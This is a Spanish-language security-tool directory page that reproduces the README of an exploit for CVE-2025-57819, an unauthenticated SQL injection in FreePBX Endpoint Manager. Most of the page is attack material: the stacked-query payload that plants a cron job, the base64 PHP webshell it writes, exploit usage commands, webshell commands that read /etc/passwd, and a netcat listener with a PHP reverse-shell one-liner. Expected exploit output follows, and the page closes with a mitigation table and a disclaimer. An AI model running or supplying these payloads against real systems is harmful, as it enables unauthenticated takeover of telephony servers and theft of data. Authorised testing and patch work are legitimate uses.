Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
freepbx-endpoint-sqli-rce — Inyección SQL no autenticada en FreePBX Endpoint Manager (CVE-2025-57819) que inyecta un webshell PHP programado con cron para ejecución remota de código. | Kitploit
Herramientas/GitHubGitHub/jf-gondim/freepbx-endpoint-sqli-rce
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y EducaciónDesarrollo de Payloads
GitHubjf-gondim/freepbx-endpoint-sqli-rce

freepbx-endpoint-sqli-rce

Inyección SQL no autenticada en FreePBX Endpoint Manager (CVE-2025-57819) que inyecta un webshell PHP programado con cron para ejecución remota de código.

Ver Repositorio
1hace 3 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2025-57819 — Inyección SQL en el Módulo Endpoint de FreePBX → Ejecución Remota de Código

Resumen

FreePBX es la interfaz web de código abierto para Asterisk PBX, ampliamente implementada en entornos de telefonía empresarial. El módulo Endpoint Manager expone un manejador AJAX en /admin/ajax.php que acepta un parámetro brand y lo interpola directamente en una consulta SQL sin sanitización. Un atacante remoto no autenticado puede inyectar SQL arbitrario, insertar una fila en la tabla cron_jobs, y hacer que el demonio cron de FreePBX escriba un webshell PHP ejecutable en la raíz web — logrando ejecución remota de código no autenticada en aproximadamente un minuto.


Detalles de la Vulnerabilidad

CampoValor
ID CVECVE-2025-57819
Puntuación CVSS9.8 (Crítico)
Vector CVSSCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWECWE-89 — Neutralización incorrecta de elementos especiales utilizados en un comando SQL
ComponenteMódulo Endpoint Manager de FreePBX
AfectadoFreePBX 17.x (sin parche)
ParcheadoFreePBX 17.x (parcheado)
Vector de AtaqueRed — No se Requiere Autenticación

Análisis Técnico

La solicitud vulnerable apunta al manejador de comandos AJAX del Endpoint Manager:

root@kitploit:~
GET /admin/ajax.php?module=FreePBX%5Cmodules%5Cendpoint%5Cajax&command=model&template=x&model=model&brand=<PAYLOAD> HTTP/1.1
Host: <target>

El parámetro brand se concatena en una consulta SQL sin escape ni declaraciones preparadas. Un atacante cierra la cadena de la consulta y añade una segunda sentencia:

root@kitploit:~
x' ;INSERT INTO cron_jobs
  (modulename, jobname, command, class, schedule, max_runtime, enabled, execution_order)
VALUES
  ('sysadmin', 'webshell',
   'echo "PD9waHAgc3lzdGVtKCRfR0VUW2NtZF0pOyA/Pg=="|base64 -d >/var/www/html/webshell.php',
   NULL, '* * * * *', 30, 1, 1) --

La entrada cron inyectada se ejecuta cada minuto bajo el propietario del proceso web-servidor/Asterisk y escribe:

root@kitploit:~
<?php system($_GET[cmd]); ?>

en /var/www/html/webshell.php, otorgando ejecución de comandos del SO no autenticada a través de HTTP.

Causa Raíz

El manejador AJAX del Endpoint Manager construye SQL dinámicamente usando formato de cadenas en lugar de consultas parametrizadas. El campo brand nunca se valida ni se escapa antes de ser incrustado en una sentencia SELECT, lo que lo hace trivialmente inyectable.

Cadena de Ataque

root@kitploit:~
Atacante  ──GET (inyección SQL)──▶  /admin/ajax.php  ──INSERT──▶  tabla cron_jobs
                                                                          │
                                              demonio cron de FreePBX (≤60s) │
                                                                          ▼
Atacante  ──GET ?cmd=id──────────▶  /webshell.php  ◀── escrito ──  ejecución de cron

Uso del Exploit

Requisitos

root@kitploit:~
pip install requests urllib3

Argumentos

root@kitploit:~
  -t, --target    Dirección IP o nombre de host objetivo  (requerido)
      --timeout   Segundos para esperar la disponibilidad del objetivo (por defecto: 30)
      --delay     Segundos para esperar que se ejecute la tarea cron (por defecto: 65)

Paso a paso

1. Ejecute el exploit contra el objetivo:

root@kitploit:~
# Basic — wait 65 s for the cron job to fire
python3 exploit.py -t <IP>

# Use hostname
python3 exploit.py -t connected.htb

# Extended cron wait on slow targets
python3 exploit.py -t <IP> --delay 90

2. Si se confirma el webshell, interáctúe con él directamente:

root@kitploit:~
curl "http://<IP>/webshell.php?cmd=id"
curl "http://<IP>/webshell.php?cmd=cat+/etc/passwd"

3. Ascienda a una shell inversa a través del webshell:

Inicie un listener en su máquina:

root@kitploit:~
nc -lvnp <LOCAL_PORT>

Luego active una shell inversa PHP a través del parámetro cmd (codificado en URL):

root@kitploit:~
curl "http://<IP>/webshell.php?cmd=php+-r+%27%24sock%3Dfsockopen%28%22<LOCAL_IP>%22%2C<LOCAL_PORT>%29%3Bsystem%28%22%2Fbin%2Fbash+%3C%263+%3E%263+2%3E%263%22%29%3B%27"

El payload decodificado enviado como cmd es:

root@kitploit:~
php -r '$sock=fsockopen("<LOCAL_IP>",<LOCAL_PORT>);system("/bin/bash <&3 >&3 2>&3");'

Salida Esperada

root@kitploit:~
 ╔═══════════════════════════════════════════════════════════════════╗
 ║  FreePBX Endpoint Module  ·  Inyección SQL → Webshell Cron       ║
 ║                       CVE-2025-57819                              ║
 ╚═══════════════════════════════════════════════════════════════════╝
  ID CVE      :  CVE-2025-57819
  Componente   :  Módulo Endpoint de FreePBX
  Afectado    :  17.x sin parche   →  Parcheado: 17.x parcheado
  Puntuación CVSS :  9.8 (Crítico)
  Vector CVSS :  CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  CWE         :  CWE-89 — Inyección SQL
  Tipo        :  Inyección SQL no autenticada → Webshell PHP programado en cron
  Referencia   :  https://nvd.nist.gov/vuln/detail/CVE-2025-57819

  14:03:11 [*] Probando objetivo <IP>  (máx 30s) ...
  14:03:12 [+] El objetivo está vivo — HTTP 200

  14:03:12 [*] Punto de inyección : http://<IP>/admin/ajax.php
  14:03:12 [!] Inyectando trabajo cron mediante inyección SQL ...

  14:03:12 [+] Solicitud de inyección enviada
  14:03:12 [*] Esperando 65s para que se ejecute el cron ...
  14:04:17 [*] Probando webshell en http://<IP>/webshell.php?cmd=id ...
  14:04:17 [+] Webshell está activo — salida del comando:

    uid=997(asterisk) gid=993(asterisk) groups=993(asterisk)

  14:04:17 [+] URL del webshell: http://<IP>/webshell.php?cmd=<comando>

  14:04:17 [+] Rutina de explotación completada.

Nota de temporización. El valor predeterminado --delay de 65 segundos asegura que el demonio cron (que se activa al inicio de cada minuto) haya tenido al menos una oportunidad de ejecutar el trabajo inyectado. En objetivos lentos, aumente a --delay 90 o --delay 120.


Mitigación

PrioridadAcción
CríticoAplicar el parche del proveedor de FreePBX para CVE-2025-57819 inmediatamente
CríticoEliminar cualquier artefacto existente /var/www/html/webshell.php
AltaRestringir el acceso a /admin/ajax.php a fuentes de red autenticadas y de confianza
AltaAuditar y sanitizar todas las consultas SQL en Endpoint Manager — usar declaraciones preparadas
MediaRestringir la tabla cron_jobs: limitar qué roles pueden INSERTAR
MediaAplicar una regla WAF que bloquee patrones de consultas apiladas en el endpoint AJAX
BajaEjecutar el proceso FreePBX/Asterisk bajo una cuenta con privilegios mínimos y sin acceso de escritura a la raíz web

Referencias

  • NVD — CVE-2025-57819
  • CWE-89: Inyección SQL
  • OWASP: Inyección SQL
  • OWASP Top 10: A03 Inyección
  • Proyecto FreePBX
  • PoC de referencia de watchTowr Labs

Descargo de responsabilidad

Este exploit se proporciona estrictamente con fines educativos y para pruebas de seguridad autorizadas. Úselo solo contra sistemas que posea o para los que tenga permiso explícito por escrito. El uso no autorizado es ilegal y poco ético.

Descargar herramienta